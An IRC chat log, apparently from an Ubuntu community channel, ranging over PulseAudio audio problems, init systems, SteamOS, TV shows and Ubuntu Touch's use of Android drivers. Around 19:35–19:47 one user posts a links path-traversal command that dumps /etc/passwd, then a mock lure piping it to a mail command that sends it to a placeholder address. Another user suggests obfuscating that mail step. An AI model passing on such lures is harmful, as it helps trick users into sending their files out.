[19:00] <daftykins> diddledan: there are some great presentations done by the guy that headed up the PS3 hardware planning/design which explain things well
[19:01] <daftykins> ultimately yeah, the Cell was a pig to code for, plus they chose to speak to game devs more for the PS4/Xbox One generation which resulted in feedback suggesting "go x86 damn it!"
[19:09] <Azelphur> Has anyone noticed major sound issues with Skype and pulseaudio in 13.10?
[19:09] <Azelphur> Notification sounds generated from it are majorly distorted and stretched, and voice calling is usually distorted/crackly, get the same behaviour on both my PC and my Laptop
[19:12] <ali1234> http://askubuntu.com/questions/157891/skype-and-vlc-sounds-sizzle-distorted-bad/201747#201747
[19:13] <ali1234> btw, it's been this way since pulseaudio was introduced to ubuntu
[19:17] <Azelphur> nice
[19:17] <diddledan> why does pulse cause so many issues when it's supposed to solve them?
[19:18] <diddledan> afaiui pulse was supposed to be "the mother of all sound systems"
[19:18] <daftykins> diddledan: Mark Cerny was the guy i was thinking of behind the PS3 and 4 hardware
[19:18] <ali1234> because starting over from scratch is almost never a good idea
[19:18] <ali1234> you might ask the same question about systemd, upstart, wayland, or mir
[19:19] <diddledan> I actually quite like upstart (that's the buntu one, right?)
[19:19] <ali1234> to be honest i think i prefer systemd
[19:19] <ali1234> and i've looked at the code of both
[19:19] <diddledan> SMF (the solaris one) is a beast
[19:19] <Azelphur> I still think pulses bane is that it has no low latency audio at all
[19:20] <Azelphur> Which makes it pretty useless at everything
[19:20] <ali1234> Azelphur: actually it does
[19:20] <Azelphur> o.O
[19:20] <ali1234> the workaround for your problem is to disable it
[19:21] <diddledan> am I right in remembering that low latency audio requires root privs (via setuid or some such)?
[19:21] <Azelphur> that's weird, because...it's certainly not enabled
[19:21] <Azelphur> I get like 100ms latency out of pulse
[19:25] <Azelphur> ali1234: whenever I use like, LMMS with pulse for example
[19:25] <Azelphur> and my midi piano
[19:25] <Azelphur> it's ... horrible
[19:35] <diddledan> oh joy
[19:35] <diddledan> links www.example.xxx/../../../../../../../../etc/passwd -dump
[19:35] <diddledan> that's a command btw
[19:35] <diddledan> lol
[19:36] <diddledan> thanks to whoever decided that .xxx as a domain tld was a good idea
[19:39] <ali1234> i don't get it
[19:39] <diddledan> ali1234: run it in a terminal
[19:39] <ali1234> so www.example.xxx is vulnerable to a trivial path expansion exploit?
[19:39] <diddledan> the entire line is a command
[19:40] <diddledan> no, your computer is
[19:40] <diddledan> specifically the links command
[19:40] <ali1234> but i can just run cat /etc/passwd
[19:40] <popey> how is that diferent from cat ../../etc/passwd
[19:40] <popey> indeed
[19:41] <diddledan> it's no different apart from social engineering allows you to think that links won't do that
[19:41] <popey> nobody would link to "links foo...." and nobody could ever click that as you can't launch local executables like that
[19:41] <popey> links being used by...?
[19:41] <ali1234> well i suppose you could hide it in a script
[19:41] <diddledan> the example on FD suggests chaining the command
[19:42] <diddledan> it will dump your passwd file no matter what the domain name as long as it ends in .xxx
[19:43] <aquarius> AlanBell, interesting question about Ubuntu phone working better with Ubuntu desktop than with others. I'm in two minds about whether I like that idea or not -- on the one hand, it's great when Apple makes the iPhone and the Mac and Apple TV work really brilliantly together and take advantage of stuff. On the other hand, it really annoys me that I don't get a full iPhone experience because I don't buy into the rest o
[19:43] <aquarius> f their ecosystem... and doing that sort of thing is Not Cricket really from an open source ethical perspective ;) What are you hoping that jono will answer?
[19:45] <diddledan> so DOWNLOAD PR0N! RUN IN COMMANDLINK: `links www.adomainyoureallywanttodownloadpr0nfrom.xxx/../../../../../../etc/passwd |mail -s secrits foo@example.com > corruptmovie.m4v`
[19:45] <diddledan> commandline, obviously, not commandlink
[19:46] <ali1234> /etc/passwd doesn't even have password hashes
[19:46] <diddledan> that's not the point
[19:46] <ali1234> not that there aren't files you could target
[19:47] <ali1234> also you should hide the mail command with perl trickery
[20:11] <bigcalm> directhex: I have your steamos on my box and wondering how one goes about installing the latest release. Does it mean wiping the installed games and drive and starting from fresh?
[20:12] <directhex> bigcalm, i wouldn't bother unless you have a pressing need for LVM/mdraid - it updates from the valve repos
[20:12] <bigcalm> directhex: yeah, I don't have a need for the current release. So there's no need to use your releases, just let the box update itself?
[20:13] <directhex> bigcalm, yeah
[20:13]  * bigcalm continues to seed anyway
[20:15]  * bigcalm pokes Dell's order page
[20:15] <bigcalm> Still pre-production :(
[20:23] <bigcalm> Who broke tumblr?
[20:24] <ali1234> yahoo?
[20:24] <bigcalm> Ah, yes
[20:27] <diddledan> lol, that's a nice break
[20:27] <diddledan> looks like their frontend works but hasn't got any backend to load from
[20:29] <diddledan> wow, how many IP addresses do they actually need?! they've been assigned a /20
[20:29] <diddledan> 15 * 255 = ?
[20:30] <diddledan> 3825
[20:30] <diddledan> oh, and .32
[20:30] <diddledan> 4080 then
[20:30] <diddledan> does a single entity really need that many?
[20:31] <diddledan> I wonder what their justifiction is for that many to ARIN
[20:32] <brobostigon> yay, i got two answers on that uni cha;;ange ep, almost my record.
[20:32] <diddledan> I had enough trouble getting assigned a /29
[20:32] <bigcalm> I really love that I can now watch my YouTube subscriptions on my TV (via blu-ray player). Still amazingly peeved that my TV does overscan and is quite noticible when watching YouTube things
[20:32] <diddledan> brobostigon: nice
[20:32] <brobostigon> diddledan: :)
[20:32] <brobostigon> my record is four,
[20:32] <diddledan> I pretty only ever get the computery ones
[20:33] <diddledan> pretty much*
[20:33] <brobostigon> one was a physics question, the other was about chemistry.
[20:33] <diddledan> because their question setters insist on the computery ones being completely stupidly easy
[20:34] <brobostigon> thats when they do have them.
[20:34] <ali1234> what's a uni change ep?
[20:34] <brobostigon> university challange is tv prog.
[20:34] <diddledan> I believe one a while back was over the name of a computer input device so-called after a rodent
[20:34] <ali1234> oh i get it now
[20:34] <ali1234> ;=l
[20:34] <brobostigon> diddledan: lol.
[20:35] <diddledan> I was incredulous that they consider that to be university-level
[20:36] <brobostigon> agreed, that insanly easy.
[20:37] <diddledan> I believe another was over the naming of pixel - i.e. what it stands for
[20:48] <MartijnVdS> picture element!~
[21:26] <jussi> will someone make me a bacon sandwich?
[21:27] <Azelphur> No, make your own sandwich
[21:27] <diddledan> sudo !!
[21:27] <Azelphur> ok.
[21:27] <diddledan> :-p
[21:27] <jussi> sudo someone make me a bacon sandwich!
[21:28] <jussi> actually, ctrl+c
[21:28] <jussi> not allowed to eat right now :/
[21:28] <diddledan> aww
[21:31] <zleap> hi
[21:31] <zleap> include <bread?
[21:31] <zleap> include <bacon
[21:32] <zleap> include <bacon>
[21:32] <zleap> lol
[21:34] <jussi> zleap: something like that
[21:34] <zleap> :)
[21:45] <Myrtti> omg Sherlock.
[21:45] <Myrtti> that's all I'll say
[21:55] <popey> ooh, need to see that
[21:56] <diddledan> just put it on
[21:56] <diddledan> I have*
[21:56] <diddledan> I very rarely watch anything live these days
[22:03] <shauno> heh, ditto.  although I still really want to build a new xbmc machine :/
[22:22] <diddledan> hmm, it's started buffering
[22:33] <daftykins> yeah my ion1 isn't handling funkier bitrate stuff too well
[22:33] <daftykins> thankfully i don't have any hi10 content
[22:34] <shauno> I'm handling video fine, just not enough steam to play with anything more interesting
[22:35] <daftykins> ion1 dies with AVC
[22:35] <daftykins> can't do VDPAU with that afaik
[22:35] <shauno> ie, I quite fancy loading it up with a bunch of emulators & a wireless gamepad.  but no-one builds them for 10.4 anymore
[22:35] <shauno> and I've been struggling to integrate xbmc with my lights because the python stack on the appletv is braindamaged
[22:35] <diddledan> I love moriarty's character
[22:37] <shauno> but I've been holding off so far because I'm curious to see how tidily steamos + xbmc could be combined on the same machine, since that'd wildly change the hardware choices
[23:23] <diddledan> ooh, killer ending
[23:24] <diddledan> I shan't say any more because there's probably some of us that haven't seen it yet
[23:30] <popey> indeed
[23:32] <diddledan> email to "ubuntu phone" mailing list entitled "Compiling Ubuntu Touch without Android" - David Marceau states "Ubuntu Touch depends on some Android.  There is no way to work around that." - I don't get how ubuntu touch "depends on android" vs ubuntu touch depends on X, Y & Z FROM android i.e. surely android itself isn't a prerequisite because it's all linux and android is actually a product or distribution of linux with some extra
[23:32] <diddledan>  non-standard stuff which happens to only be available from the android source code repo
[23:32] <diddledan> surely linux is linux is linux in this sense. I don't get why we need to differentiate android
[23:33] <popey> we're using drivers from android
[23:33] <shauno> I believe 'some stuff' is wildly, wildly understating the issue
[23:33] <popey> shauno: how so?
[23:34] <diddledan> drivers are just drivers tho they're not an integral part of android that can't be separated, surely?
[23:34] <shauno> as I understand it, android isn't a linux distro as we'd usually use the term; it's the linux kernel with an almost completely new userland?
[23:34] <popey> we dont use the userland stuff
[23:34] <popey> only the kernel driver side
[23:34] <popey> some of which is binary blobs
[23:35] <popey> and depends on boinc not libc
[23:35] <popey> *bionic
[23:36] <diddledan> so why can't we say "depends on these drivers which happen to only currently be available in android"?
[23:36] <popey> thats quite a mouthful
[23:36] <popey> we tend to say "we depend on parts of android"
[23:36] <popey> or "android drivers"
[23:36] <diddledan> I know it's convoluting but it properly points out what we depend on rather than suggesting that we're a version of android that can't be called such
[23:37] <popey> i think you're over analysing a mail to a list from a random dude
[23:39] <diddledan> I just don't like the premise that some people are going to think it's a minor change to an ostensibly android system as opposed to an ostensibly ubuntu system with a couple bits bolted-on to work with already available hardware
[23:39] <popey> well, his first line is right
[23:39] <popey> we depend on some bits of android
[23:40] <diddledan> so anyway, that rant aside. how are things coming with the thing?
[23:42] <popey> heh
[23:42] <diddledan> and a related question - is there a page on a wiki somewhere that I can read about plans for click packages?
[23:45] <diddledan> heh, just found this on google: http://phandroid.com/2014/01/13/ubuntu-touch-devices-2/ <-- no nexus 5, e.g.
[23:45] <diddledan> I'm sure the "community" will make another contributed build for the dropped devices as they suggest in the article, though